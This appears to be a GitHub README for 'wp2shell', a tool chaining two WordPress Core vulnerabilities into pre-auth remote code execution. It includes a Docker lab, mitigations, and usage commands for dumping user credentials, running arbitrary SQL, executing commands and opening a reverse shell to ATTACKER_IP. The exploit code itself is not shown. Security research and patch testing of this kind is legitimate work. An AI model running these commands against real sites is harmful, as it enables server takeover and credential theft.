Giangdurian/CVE-2026-63030-CVE-2026-60137
GitHub: Giangdurian/CVE-2026-63030-CVE-2026-60137
这是一个针对 WordPress Core 两个高危漏洞的 Pre-Auth RCE 组合利用链工具,包含基于 Docker 的实验环境和 Python 利用脚本。
Stars: 0 | Forks: 0
# CVE-2026-63030 & CVE-2026-60137 — wp2shell
| | |
|:---|:---|
| **CVE** | CVE-2026-63030 + CVE-2026-60137 |
| **别名** | wp2shell |
| **漏洞类型** | REST API Route Confusion → SQL Injection → RCE |
| **严重程度** | 严重 — CVSS 10.0 |
| **受影响版本** | WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 |
| **修复版本** | WordPress 6.8.6, 6.9.5, 7.0.2 |
| **需要认证** | 否(Pre-Auth) |
## 概述
**wp2shell** 是针对 WordPress Core 中两个漏洞组合利用链的名称:
- **CVE-2026-63030** — *Route Confusion*:当子请求包含错误路径时,Batch endpoint(`/wp-json/batch/v1`)中的 `$matches[]` 和 `$validation[]` 数组之间会发生索引错位,导致下一个子请求在错误的 handler 下运行 → 从而绕过 REST API schema validation。
- **CVE-2026-60137** — *SQL Injection*:当 `WP_Query::get_posts()` 接收字符串而非数组作为 `author__not_in` 参数时,未进行 sanitize 处理 → 导致原始 SQL Injection。
这两个 bug 结合在一起,形成了一条完整的 **Pre-Auth RCE 链** —— 从零凭证到仅在服务器上通过 HTTP 请求获取 shell。
### 漏洞利用链
```
Route Confusion (bypass REST validation)
→ SQL Injection (đọc DB: users, secret keys)
→ oEmbed cache poisoning (read-only SQLi → write primitive)
→ customize_changeset (tạo admin mới)
→ Plugin upload (webshell)
→ Remote Code Execution
```
## 实验环境搭建
该实验环境使用 Docker Compose 运行 3 个容器:
| 容器 | 镜像 | 端口 |
|:---|:---|:---|
| WordPress(存在漏洞) | `wordpress:6.9.4` | `8080` |
| MySQL | `mysql:8.0` | 内部 |
| phpMyAdmin | `phpmyadmin:latest` | `8081` |
### 前置条件
- Docker + Docker Compose
- Python 3.8+(仅使用标准库,无需安装额外 package)
- Bash(用于运行 `setup.sh`)
### 启动
```
cd wp2shell-lab
bash setup.sh
```
该脚本会自动执行:
1. 拉取镜像并启动容器
2. 安装 WordPress 6.9.4
3. 填充示例数据(文章、用户)
4. 启用 MySQL general log + WP_DEBUG
完成后将显示 **"WP2Shell Lab — READY!"** 及相关的登录凭证。
### 清理
```
cd wp2shell-lab
docker compose down -v
```
## 漏洞利用用法
```
# 检查 vulnerability
python3 exploit.py check http://TARGET:8080
# 检查 + 确认 SQLi
python3 exploit.py check --confirm-sqli http://TARGET:8080
# 从 database 读取 user credentials
python3 exploit.py read --preset users http://TARGET:8080
# 运行任意 SQL 语句
python3 exploit.py read --query "SELECT @@version" http://TARGET:8080
# Full RCE — 运行 command
python3 exploit.py shell --cmd "id" http://TARGET:8080
# Reverse shell
python3 exploit.py shell --reverse ATTACKER_IP:PORT http://TARGET:8080
```
## 漏洞利用条件
| 条件 | 要求 |
|:---|:---|
| WordPress 版本 | 6.9.0–6.9.4 或 7.0.0–7.0.1 |
| REST API batch endpoint | 可访问(默认开启) |
| 认证 | 不需要 |
| 网络 | 攻击者可访问到 WordPress 实例 |
## 缓解措施
1. **将 WordPress 升级** 至 >= 6.9.5 或 >= 7.0.2 —— 这是唯一彻底的解决办法。
2. **临时禁用 batch endpoint**:在 `functions.php` 中添加 `add_filter('rest_batch_disabled', '__return_true');`。
3. **WAF 规则**:拦截发往 `/wp-json/batch/v1` 且包含 SQL 关键字的请求。
## 免责声明
## 参考资料
- [Icex0/wp2shell-poc](https://github.com/Icex0/wp2shell-poc) — 参考的原始 PoC
- [WordPress 6.9.4 — class-wp-rest-server.php](https://github.com/WordPress/wordpress-develop/blob/6.9.4/src/wp-includes/rest-api/class-wp-rest-server.php)
- [WordPress 6.9.4 — class-wp-query.php](https://github.com/WordPress/wordpress-develop/blob/6.9.4/src/wp-includes/class-wp-query.php)
- [Patch diff 6.9.4 -> 6.9.5](https://github.com/WordPress/wordpress-develop/compare/6.9.4...6.9.5)
标签:CISA项目, Docker Compose, ffuf, WordPress, 应用安全, 文件完整性监控, 版权保护, 编程工具, 请求拦截, 远程代码执行, 逆向工具